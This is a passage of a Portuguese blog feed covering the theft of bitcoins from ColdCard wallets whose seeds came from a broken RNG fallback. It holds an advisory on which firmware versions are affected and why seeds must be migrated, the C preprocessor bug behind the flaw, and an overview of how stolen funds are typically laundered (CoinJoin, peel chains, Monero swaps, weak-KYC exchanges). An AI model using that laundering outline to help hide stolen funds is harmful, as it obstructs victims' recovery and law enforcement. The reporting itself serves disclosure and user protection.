    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.</p>
<p>No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.</p>
<h2>O que essa classe de bugs significa<span class="hx:absolute hx:-mt-20" id="o-que-essa-classe-de-bugs-significa"></span>
    <a href="#o-que-essa-classe-de-bugs-significa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à <strong>entropia</strong>. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.</p>
<p>Três lições:</p>
<ol>
<li><strong>Não confie na aparência de aleatoriedade.</strong> O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.</li>
<li><strong>Hash não cria entropia.</strong> Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo <code>2^40</code> hashes possíveis. O atacante enumera as entradas, não os hashes.</li>
<li><strong>A blockchain é pública e permanente.</strong> Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.</li>
</ol>
<h2>Dá para pegar o criminoso?<span class="hx:absolute hx:-mt-20" id="dá-para-pegar-o-criminoso"></span>
    <a href="#d%c3%a1-para-pegar-o-criminoso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: &ldquo;será que dá para rastrear quem fez isso?&rdquo;. A resposta curta é: <strong>talvez, mas não é trivial</strong>, e rastrear não é o mesmo que recuperar os bitcoins.</p>
<p>Clay Garrett, que está entre as pessoas investigando o caso, publicou <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">uma thread no X</a> alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com &ldquo;especificidade extraordinária&rdquo;, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.</p>
<p>O que isso significa, <strong>se for confirmado</strong>:</p>
<ul>
<li>Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.</li>
<li>Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.</li>
<li>Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.</li>
<li>Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.</li>
</ul>
<p>Ou seja: a thread aponta para uma linha de investigação promissora, mas <strong>é uma alegação em andamento</strong>, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.</p>
<h2>O que o atacante ainda não fez<span class="hx:absolute hx:-mt-20" id="o-que-o-atacante-ainda-não-fez"></span>
    <a href="#o-que-o-atacante-ainda-n%c3%a3o-fez" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.</p>
<h3>O que seria um mixer, e por que ele não foi usado<span class="hx:absolute hx:-mt-20" id="o-que-seria-um-mixer-e-por-que-ele-não-foi-usado"></span>
    <a href="#o-que-seria-um-mixer-e-por-que-ele-n%c3%a3o-foi-usado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um <strong>mixer</strong> (ou <strong>tumbler</strong>) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de &ldquo;de onde veio&rdquo;.</p>
<p>O modelo clássico é o <strong>CoinJoin</strong>: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como <strong>Wasabi Wallet</strong> e <strong>Samourai Wallet</strong> implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço <strong>Whirlpool</strong>, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.</p>
<p>Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como <strong>Bitcoin Fog</strong> e <strong>Helix</strong> funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.</p>
<p>No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:</p>
<ol>
<li><strong>O atacante ainda está decolando.</strong> Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.</li>
<li><strong>O atacante não esperava tanta visibilidade.</strong> Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.</li>
<li><strong>O atacante pode estar negociando uma recuperação.</strong> Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.</li>
</ol>
<h3>Como se esconde normalmente uma quantia dessas<span class="hx:absolute hx:-mt-20" id="como-se-esconde-normalmente-uma-quantia-dessas"></span>
    <a href="#como-se-esconde-normalmente-uma-quantia-dessas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:</p>
<ol>
<li><strong>CoinJoin em rodadas.</strong> O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.</li>
<li><strong>Peel chain.</strong> Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.</li>
<li><strong>Trocas instantâneas e bridges.</strong> Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.</li>
<li><strong>Exchanges com KYC fraco ou nenhum.</strong> Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.</li>
<li><strong>Fiat off-shore.</strong> O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.</li>
</ol>
<p>Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.</p>
<h3>Por que isso importa agora<span class="hx:absolute hx:-mt-20" id="por-que-isso-importa-agora"></span>
    <a href="#por-que-isso-importa-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.</p>
<p>Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser &ldquo;onde está o dinheiro?&rdquo; e passa a ser &ldquo;quem conseguimos prender?&rdquo;. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.</p>
<p>Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.</p>
<p>A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.</p>
<p>A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.</p>
<p>Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>URGENTE - Se você guarda Bitcoins em ColdCard: MOVA TUDO</title><link>https://www.akitaonrails.com/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.&lt;/p&gt;
&lt;p&gt;Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;recebeu 594,47723261 BTC em 501 outputs&lt;/a&gt;. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de &lt;strong&gt;1.000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.</p>
<p>Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC em 501 outputs</a>. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de <strong>1.000 BTC</strong>.</p>
<p>O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.</p>
<blockquote>
  <p>Também não entre em pânico e digite suas 24 palavras no primeiro site que promete &ldquo;verificar ColdCard&rdquo;. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.</p>

</blockquote>
<h2>Quem precisa agir agora<span class="hx:absolute hx:-mt-20" id="quem-precisa-agir-agora"></span>
    <a href="#quem-precisa-agir-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A vulnerabilidade está na <strong>geração da seed</strong>. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.</p>
<blockquote>
  <p><strong>Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado.</strong> As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.</p>

</blockquote>
<p>Segundo o <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">advisory da Coinkite</a> e a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">análise independente da Block</a>, trate como comprometida qualquer seed gerada nestas condições:</p>
<table>
  <thead>
      <tr>
          <th>Aparelho</th>
          <th>Firmware que gerou a seed</th>
          <th>Situação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 até 4.1.9, segundo a Block</td>
          <td>Vulnerável. Migre a seed e aposente o aparelho como gerador.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 até 4.1.9 no advisory da Coinkite; a Block inclui 4.0.0</td>
          <td>Vulnerável. Instale 4.2.0 ou superior antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Anterior a 5.6.0</td>
          <td>Afetado. Atualize antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Anterior a 6.6.0X</td>
          <td>Afetado. Edge é outra linha de release.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Anterior a 1.5.0Q</td>
          <td>Afetado.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Anterior a 6.6.0QX</td>
          <td>Afetado.</td>
      </tr>
  </tbody>
</table>
<p>A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.</p>
<p>Há uma exceção importante: quem acrescentou pelo menos <strong>50 jogadas justas, independentes e privadas de um dado</strong> durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por <strong>este bug isoladamente</strong>. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.</p>
<p>Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.</p>
<blockquote>
  <p><strong>Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo.</strong> O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.</p>

</blockquote>
<p>Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.</p>
<h2>O bug: <code>#ifndef</code> não significa &ldquo;se for verdadeiro&rdquo;<span class="hx:absolute hx:-mt-20" id="o-bug-ifndef-não-significa-se-for-verdadeiro"></span>
    <a href="#o-bug-ifndef-n%c3%a3o-significa-se-for-verdadeiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">post-mortem técnico da Coinkite</a> é uma leitura constrangedora.</p>
<p>Em março de 2021, o firmware trocou <code>ckcc.rng_bytes()</code> por <code>ngu.random.bytes()</code> durante a migração pro libNgU e pro <code>libsecp256k1</code> usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.</p>
<p>O código de build definia:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que a guarda no libNgU verificava isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, <code>rng_get()</code> apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.</p>
<p>Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre &ldquo;gerar nova wallet&rdquo; e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.</p>
<p>No Mk3, a estimativa preliminar da Coinkite é de cerca de <strong>40 bits de entropia efetiva</strong>, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente <strong>72 bits</strong>. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.</p>
<p>Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas <code>2^40</code> entradas possíveis, no máximo existirão <code>2^40</code> hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.</p>
<p>Isso ficou no caminho mais importante do produto por mais de cinco anos.</p>
<h2>Como uma reescrita de 120 arquivos chegou aqui<span class="hx:absolute hx:-mt-20" id="como-uma-reescrita-de-120-arquivos-chegou-aqui"></span>
    <a href="#como-uma-reescrita-de-120-arquivos-chegou-aqui" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert publicou uma timeline</a> que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.</p>
<p>Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do &ldquo;clone&rdquo; e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.</p>
<p>No dia 1 de março veio o commit <code>First pass w/ libNgU</code>: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.</p>
<p>Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar <code>libsecp256k1</code>, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.</p>
<p>Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.</p>
<h2>Isso foi cisne branco, não cisne negro<span class="hx:absolute hx:-mt-20" id="isso-foi-cisne-branco-não-cisne-negro"></span>
    <a href="#isso-foi-cisne-branco-n%c3%a3o-cisne-negro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Já vi gente chamando o caso de &ldquo;black swan&rdquo;, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.</p>
<p>O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O <code>#ifndef</code> errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.</p>
<p>Um black swan é raro, surpreendente e só parece óbvio depois. Este era um <strong>white swan</strong>: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.</p>
<p>E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.</p>
<p>Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">reportaram responsavelmente uma falha crítica de multisig</a>. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.</p>
<p>A <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">política atual de responsible disclosure</a> continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um &ldquo;we are not here to make it easy for you&rdquo;, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.</p>
<p>Zach Herbert também <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documentou ataques públicos de NVK</a> contra a Foundation depois que ela usou código GPL da ColdCard: &ldquo;pure clone&rdquo;, &ldquo;leeches&rdquo; e &ldquo;affinity scamming&rdquo;. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.</p>
<p>Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.</p>
<p>Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.</p>
<h2>Não, &ldquo;IA quebrou o Bitcoin&rdquo; coisa nenhuma<span class="hx:absolute hx:-mt-20" id="não-ia-quebrou-o-bitcoin-coisa-nenhuma"></span>
    <a href="#n%c3%a3o-ia-quebrou-o-bitcoin-coisa-nenhuma" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A Coinkite escreveu que, como o firmware era público, &ldquo;temos que assumir&rdquo; que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.</p>
<p>Depois, NVK publicou <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">um pedido de desculpas em nome da Coinkite</a>. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.</p>
<p>O problema é que ele terminou tentando transformar o desastre numa &ldquo;realidade sóbria do novo paradigma de IA&rdquo;, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.</p>
<p>Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele <code>#ifndef</code>, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.</p>
<p>Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, <code>secp256k1</code>, SHA-256, BIP39 ou Bitcoin.</p>
<p>O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.</p>
<p>IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.</p>
<h2>O que uma wallet realmente guarda<span class="hx:absolute hx:-mt-20" id="o-que-uma-wallet-realmente-guarda"></span>
